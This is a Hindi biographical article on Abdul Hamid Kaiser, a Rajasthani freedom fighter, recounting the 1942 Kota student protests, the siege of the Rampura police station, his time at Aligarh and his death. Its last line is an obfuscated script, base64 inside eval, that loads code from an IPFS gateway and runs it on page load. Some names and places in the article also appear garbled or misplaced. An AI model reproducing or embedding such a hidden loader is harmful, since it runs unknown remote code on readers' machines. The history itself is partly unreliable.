देशभक्तों में लखपति का विशिष्ट स्थान है। जिन राष्ट्रीय मुसलमानों ने लीग की साम्प्रदायिक नीति का विरोध करते हुए हमेशा कांग्रेस का साथ दिया और आज़ादी के संर्घष में महत्त्वपूर्ण भूमिका निभाई, उनमें से अब्दुल हमीद कैसर भी एक थे। वे राजस्थान के राष्ट्रवादी मुसमानों के शिरोमणि और स्वतंत्रता संग्राम के प्रसिद्ध सेनानी थे। अत: उनका नाम आज भी बड़े गर्व के साथ लिया जाता है। अब्दुल हमीद कैसर के देश प्रेम एवं त्याग के बारे में कवि की यह पंक्तियाँ उचित प्रतीत होती है-
तज स्वार्थ का मार्ग, अहिंसा को अपनाय,
शीश झुका चुपचाप पुलिस की लाठी खाये,
गये जेल, हथकड़ी हाथ में, कष्ट उठाये,
बहुत बहुत आशीष भारत माता से पाये।
देशभक्ति की शिक्षा
अब्दुल हमीद कैसर के मन में बचपन से ही देशभक्ति की भावना जाग उठी, क्योंकि वहाँ छात्रों में अंग्रेज़ी हुकूमत के विरुद्ध संघर्ष करने की भावना भरी जाती थी। कोटा का हितकारी विद्यालय भारतीय स्वतंत्रता आन्दोलन से जुड़ा हुआ था। इस विद्यालय के प्राचार्य शम्भूदयाल सक्सेना पजामण्डल के प्रमुख नेताओं में से एक एवं प्रसिद्ध स्वतंत्रता सेनानी थे। अब्दुल हमीद कैसर तथा उनके हितकारी स्कूल के साथी छात्र रात भर जागकर कोटा शहर में गश्त करते थे। उन्होंने कुछ महीनों अध्ययन करना यह समझकर छोड़ दिया कि शायद अब अंग्रेजों का राज समाप्त होकर हमें आज़ादी मिलेगी और इस शासन का अंत होगा। इस लाठी-चार्ज का विरोध कोटा महराव राजा ने अनशन करके किया।
आन्दोलनों में सक्रियता
अंग्रेज़ सरकार के विरुद्ध संघर्ष की रणनीति तैयार करने हेतु अगस्त, 1942 ई. में प्रजामण्डल की ओर से कोटा के चाँद टॉकीज में तिलक जयंती मनाई गई। इसमें बम्बई में 9 अगस्त, 1942 ई. को होने वाले ग्वालियर टैंक स्थित खुले अधिवेशन में भाग लेने तथा भारत छोड़ो आन्दोलन में सक्रिय रूप से भाग लेने का प्रस्ताव पारित किया गया। तिलक जयंती के अनुसार 8 अगस्त को मीटिंग के प्रस्ताव रखने हेतु कुछ स्वतंत्रता सेनानियों एवं विद्यार्थियों ने भी भाग लिया था। ऐसे स्वतंत्रता सेनानियों में एडवोकेट वेणी माधवजी, अभिन्न हरिजी, हीरालालजी जैन, शम्भूदयालजी एवं विद्यार्थियों में अब्दुल हमीद कैसर एवं रामचन्द्र सक्सेना प्रमुख थे। इस जयंती में भाग लेने के बाद कैसर स्वतंत्रता आन्दोलन से सक्रिय रूप से जुड़ गये।
तिलक जयंती के अनुसार 8 अगस्त को मीटिंग के प्रस्ताव रखने हेतु कुछ सदस्यों को बम्बई जाना था, परंतु देश के प्रमुख स्वतंत्रता सेनानियों एवं कार्यकारिणी के सदस्यों को गिरफ्तार कर अंग्रेज़ सरकार ने उन्हें हैदराबाद स्थित आगा खाँ नामक जेल में भिजवा दिया। गिरफ्तार की खबर कोटा स्कूल में आग की तरह फैल गयी। कोटा में हितकारी विद्यालय सहित सभी स्कूल कॉलेजों में हडताल शुरू हो गई, जिससे स्कूल व कॉलेज बन्द हो गये। इस प्रकार स्कूल और कॉलेज के छात्रों ने अपनी पढ़ाई छोड़कर प्रजा मण्डल आन्दोलन को तीव्रगति देने में महत्त्वपूर्ण भूमिका अदा की। इस समय श्री कैसर भी अपनी पढ़ाई लिखाई छोड़कर आज़ादी के आन्दोलन में कूद पड़े। श्री कैसर एवं श्री रामचन्द्र सक्सेना हमेशा हितकारी स्कूल के छात्रों को एकत्रित करके अपने नेतृत्व में जुलूस निकालते। लखपति वरिष्ठ स्वतंत्रता सेनानियों के नेतृत्व में छात्रों के साथ हर्बट कॉलेज, नयापूरा, कोटा के पीछे एकत्रित होते। जुलूस प्रात: काल आठ बजे वहाँ से रवाना होकर नयापुरा, लाड़पुरा, मक़बरा, पाटनपोल, घण्टाघर, टिपटा होते हुए सिटी हाई स्कूल में आकर सभा में परिवर्तित हो जाता। यहाँ पर सभी राष्ट्रगान गाते और अंग्रेजों के विरुद्ध नारे लगाते थे।
13 अगस्त, 1942 ई. को अंग्रेज सरकार ने शम्भूदयाल जी, हीरालाल जी जैन एवं वेणी माधव जी आदि कोटा के स्वतन्त्रता सेनानियों को गिरफ्तार कर रामपुरा की कोतवाली में बन्द कर दिया। यह गिरफ्तारी अंग्रेज सरकार के ईशारे पर कोटा स्टेट ने की थी। गिरफ्तारी की खबर आग की तरह कोटा में फैल गयी। इस पर प्रजा मण्डल के सदस्यों, हितकारी विद्यालय के छात्रों एवं नागरिकों ने रामपुरा कोतवाली को घेर लिया और धरना दिया। अब्दुल हमीद कैसर धरने में अग्रिम पंक्ति में बैठे हुए थे। इस समय वेणी माधव जी की पत्नी ने अपने पति को माला पहनाने के लिए कोतवाली के गेट पर से चढ़कर जाने का प्रयास किया, तो उन्हें रोक दिया गया। इससे भीड़ उत्तेजित हो गई तथा लाठी-भाटा जगं शुरू हो गई। कैसर एवं सक्सेना दोनों घायल हो गये। उन दोनों के सिर फट गये और टांके लगाने पड़े। उसी समय घुड़सवार सैनिकों को बुला लिया गया, जिन्होंने आन्दोलनकारियों को रोंदने का प्रयास किया। तत्पश्चात् गिरफ्तार आन्दोलनकारियों को पुलिस अन्यत्र स्थान पर लेकर चली गयी।
पुलिस के साथ इस संघर्ष में कई लोग घायल हुए। जनता तथा विद्यार्थियों ने अपना घेरा कोतवाली पर और कड़ा कर दिया। आस-पास के नागरिकों ने अपने घरों की छतों पर पत्थर इकठ्ठे कर लिये। कोतवाली का यह घेराव 19 अगस्त तक चलता रहा। हितकारी के विद्यार्थियों ने शहर के समस्त प्रवेश द्वारों को बन्द कर दिया तथा सभी सड़कों पर गढ्डे करके पत्थर उखाड़ दिये, ताकि कोटा शहर में सेना प्रवेश नहीं कर सके और स्टेट का कोई भी वाहन शहर में नहीं आने पाये। प्रजामण्डल के नेतृत्व में हितकारी विद्यालय के छात्रों तथा नागरिकों ने कोतवाली के कर्मचारियों का कोतवाली से निकलना बन्द कर दिया। कोतवाली के कर्मचारी भूख प्यास से तड़पने लगे। पर जनता ने यह ऐलान किया कि पहले स्वतंत्रता आन्दोलनकारियों को रिहा किया जाए, तभी कोतवाली से घेराव हटाया जायेगा।
19 अगस्त, 1942 को सायंकाल चार बजे किसी तरह सेना ने शहर में प्रवेश किया तथा कोतवाली को दोनों तरफ से घेर लिया। तत्पश्चात् सैनिक अधिकारियों ने कहा कि हम कोतवाली के कर्मचारियों को भूख-प्यासे बचाने आये हैं, परंतु जनता इस बात पर अड़ी रही कि पहले हमारे नेताओं को रिहा किया जाए। फिर 20 अगस्त, 1942 ई. को स्वतंत्रता सेनानियों को बिना श्रर्त रिहा कर दिया गया, तब जाकर कोतवाली से घेरा हटाया गया।
अब्दुल हमीद कैसर जब भी बूँदी आते थे, तो अपनी कमीज पर तिरंगी झण्डी लगाकर आते थे। इस खबर से अंग्रेज़ दीवान रॉर्ब्टसन नाराज़ रहने लगा, जो इस समय बूँदी स्टेट में मुजालमत थे। इसके बाद 1943 ई. में बनारस से मैट्रिक की परीक्षा पास करके कैसर ने अलीगढ़ मुस्लिम विश्वविद्यालय में प्रवेश लिया, तो बूँदी के अंग्रेज़ दीवान ने वहाँ से शिकायत करके विश्वविद्यालय प्रशासन से निलम्बित किया जाए क्योंकि वह अंग्रेज़ हुकूमत के विरुद्ध आन्दोलन में भाग लेता है। 1943 में मैट्रिक करके अलीगढ़ जाने से पूर्व कैसर ने बूँदी स्टेट में किसी तरह नौकरी प्राप्त कर ली तथा फिर नौकरी को छोड़कर अलीगढ़ विश्वविद्यालय में प्रवेश ले लिया। इससे बूँदी का अंग्रेज़ दीवान आग बबूला हो गया तथा नौकरी में मिली सारी तनख्वाह अब्दुल हमीद कैसर से वापस जमा करवाई। अलीगढ़ विश्वविद्यालय में प्रवेश लेने के बाद कैसर ने स्वतंत्रता आन्दोलन में बढ़-चढ़कर भाग लिया। वे 1946 ई. में अलीगढ़ कांग्रेस के साधारण सदस्य बने जबकि उस समय वे इण्टरमिडियेट के छात्र थे।
1946 में ही रफ़ी अहमद क़िदवई पर लीगी दंगाईयों ने यह कहकर नगरपालिका, अलीगढ़ में हमला कर दिया कि यह भारत का समर्थक है, तो कैसर ने अपने साथी इक़बाल अहमद (निवासी- मुरादाबाद, उत्तर प्रदेश) के साथ जान जोखिम में डालकर किदवई का बचाव किया, जिससे वे अपने साथी और किदवई सहित घायल होकर अस्पताल में भर्ती हुए। 1946 में जब भारत सरकार के अंतरिम सरकार के लिए चुनाव हुए, तो कैसर मुजफ्फर नगर (उत्तर प्रदेश) में कांग्रेस प्रत्याशी मौलाना हुसैन अहमद मदनी के चुनाव में प्रचार करने हेतु गये।
मृत्यु
आज़ादी का दीवाना एवं मानवता का मसीहा अब्दुल हमीद कैसर 18 जुलाई, 1998 ई. को इस संसार से विदा हो गया। इस दु:खद अवसर पर असंख्य लोगों ने उनकी सेवाओं को याद करते हुए अपने जनप्रिय नेता को भावभीनी विदाई देते हुए अश्रुपूरित श्रद्धांजलि अर्पित की थी। स्वतंत्रता के इस पराक्रमी योद्धा की क़ब्र आज भी उनके त्याग एवं बलिदान की कहानी सुनाती है। यद्यपि कैसर आज हमारे बीच नहीं है, तथापि जनता उनको आज भी श्रद्धा और सम्मान के साथ याद करती हैं। इस प्रकार कैसर उच्च कोटि के विद्वान, प्रखरवक्ता, स्वतंत्रता सेनानी, ग़रीबों के मसीहा, साम्प्रदायिकता एकता के प्रतीक, त्यागी देशप्रेमी एवं देशभक्त थे।
सद्भावना के मसीहा
अब्दुल हमीद कैसर आज़ादी के उन पराक्रमी योद्धाओं में से एक थे, जिन्होंने सत्ता के गलियारे की तरफ कभी झांका तक नहीं। उनका नाम अख़बार की सुर्खियों में देखने को नहीं मिलता, क्योंकि उन्होंने किसी फल की प्राप्ति की आशा से आज़ादी की जंग में भाग नहीं लिया था। उनका उत्सर्ग अनाम था। वे कंगूरों की भाँति दिखावे की वस्तु नहीं, अपितु नींव के पत्थर थे। इसीलिए उनके नाम की स्वर्ण पट्टिकायें कहीं पर देखने को नहीं मिलतीं। उनकी मजार और समाधियों पर न चिराग जलाए जाते हैं, न पुष्प चढ़ाये जाते हैं। ऐसे ही गुमनाम राष्ट्र भक्तों की पंक्ति में कैसर का नाम भी शामिल है। कैसर बहुमुखी प्रतिभा के धनी, देश के लिए मर मिटन वाले योद्धा, त्यागी, बलिदान, आदर्श मानवता के प्रतीक देश के महान् भक्त, भारत माता के सच्चे पुत्र एवं साम्प्रदायिक सद्भावना के मसीहा थे।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>